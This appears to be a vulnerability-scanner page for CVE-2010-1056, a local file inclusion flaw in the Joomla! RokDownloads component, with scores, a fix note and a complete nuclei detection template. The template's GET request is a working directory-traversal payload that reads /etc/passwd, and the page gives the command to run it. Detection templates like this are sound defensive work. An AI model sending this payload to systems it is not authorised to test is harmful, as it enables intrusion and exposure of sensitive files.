Joomla! Component com_rokdownloads - Local File Inclusion

mediumseverity

6.8CVSS score

11.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1056 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1056

info:
  name: Joomla! Component com_rokdownloads - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the RokDownloads (com_rokdownloads) component before 1.0.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11760
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1056
    - http://www.rockettheme.com/extensions-updates/638-rokdownloads-10-released
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56898
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1056
    cwe-id: CWE-22
    epss-score: 0.11414
    epss-percentile: 0.96034
    cpe: cpe:2.3:a:rockettheme:com_rokdownloads:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rockettheme
    product: com_rokdownloads
  tags: cve,cve2010,joomla,lfi,edb,rockettheme,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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